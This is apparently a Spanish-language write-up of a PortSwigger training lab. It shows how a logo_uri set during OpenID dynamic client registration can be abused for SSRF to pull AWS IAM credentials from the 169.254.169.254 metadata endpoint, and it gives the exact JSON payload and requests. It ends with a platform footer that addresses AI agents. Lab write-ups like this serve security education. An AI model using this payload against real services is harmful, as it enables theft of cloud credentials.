> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md). # SSRF mediante registro dinámico de cliente OpenID Notas sobre SSRF mediante registro dinámico de cliente OpenID para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación. ### SSRF a través de OpenID Dynamic Client Registration **Objetivo del laboratorio** Este laboratorio opera una función dinámica de registro de clientes OpenID\*\*. Algunos de los datos proporcionados por el cliente son utilizados sin protección por el servicio OAuth, lo que abre la puerta a una **SSRF**. El objetivo es explotar esta vulnerabilidad para acceder al siguiente endpoint interno y recuperar el secreto **de acceso en la nube** del proveedor OAuth: * `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/` **Acceso inicial** Puedes conectarte con una cuenta de usuario estándar: * **Identificador**: wiener * **Contraseña**: peter **Descubrimiento de OpenID** Al analizar el flujo OAuth, identificamos el endpoint estándar de configuración de OpenID: ```bash /.well-known/openid-configuration ``` Este recurso presenta todos los endpoints utilizados por el proveedor OAuth, incluyendo: {% code overflow="wrap" %} ```json {"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]} ``` {% endcode %} * `authorization_endpoint` * `token_endpoint` * `userinfo_endpoint` * **`registration_endpoint`** La clave aquí es: ``` /reg ```
Permite el registro dinámico de nuevos clientes. ```http { "application_type": "web", "redirect_uris": [ "https://client-app.com/callback", "https://client-app.com/callback2" ], "client_name": "My Application", "logo_uri": "https://client-app.com/logo.png", "token_endpoint_auth_method": "client_secret_basic", "jwks_uri": "https://client-app.com/my_public_keys.jwks", "userinfo_encrypted_response_alg": "RSA1_5", "userinfo_encrypted_response_enc": "A128CBC-HS256", … } ``` **Registro de cliente OAuth** Se intercepta una solicitud a `/reg` y se convierte en una **POST** solicitud con el encabezado: ```http Content-Type: application/json ``` Un registro mínimo funciona con un JSON muy simple: ```json { "redirect_uris": [ "https://test.com" ] } ``` El servidor responde creando una nueva aplicación OAuth y devuelve en particular: * `client_id` * `client_secret` * `registration_client_uri` * `registration_access_token` Esto confirma que el registro dinámico está activo y no es restrictivo. {% code overflow="wrap" %} ```json {"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"} ``` {% endcode %}
**Inyección SSRF mediante `logo_uri`** El `logo_uri` campo, diseñado para cargar una imagen asociada con el cliente, es particularmente interesante. / Se recupera del lado del servidor sin validación estricta de la URL. Se registra un nuevo cliente con un `logo_uri` que apunta a la IP interna de AWS: ```json { "redirect_uris": [ "https://jord4n.pro" ], "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" } ``` El servidor acepta la solicitud y devuelve un nuevo `client_id`. **Acceso al logo del cliente** Cada cliente tiene un endpoint para recuperar su logo: ``` GET /client//logo ```
```http GET /client/1767128152/logo ```
Usando las `client_id` obtenido previamente: ```http GET /client/4skHDyCgn9b1zvT-JBTin/logo ``` **Exfiltración de metadatos de AWS** La respuesta no contiene una imagen, sino directamente las \*\*credenciales IAM internas\*\*: ```json { "Code" : "Éxito", "LastUpdated" : "2025-12-31T18:55:47.398604832Z", "Type" : "AWS-HMAC", "AccessKeyId" : "TKrZh1liWrDBDSltdlG9", "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0", "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX", "Expiration" : "2031-12-30T18:55:47.398604832Z" } ``` `SecretAccessKey` es el valor esperado para validar el laboratorio. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.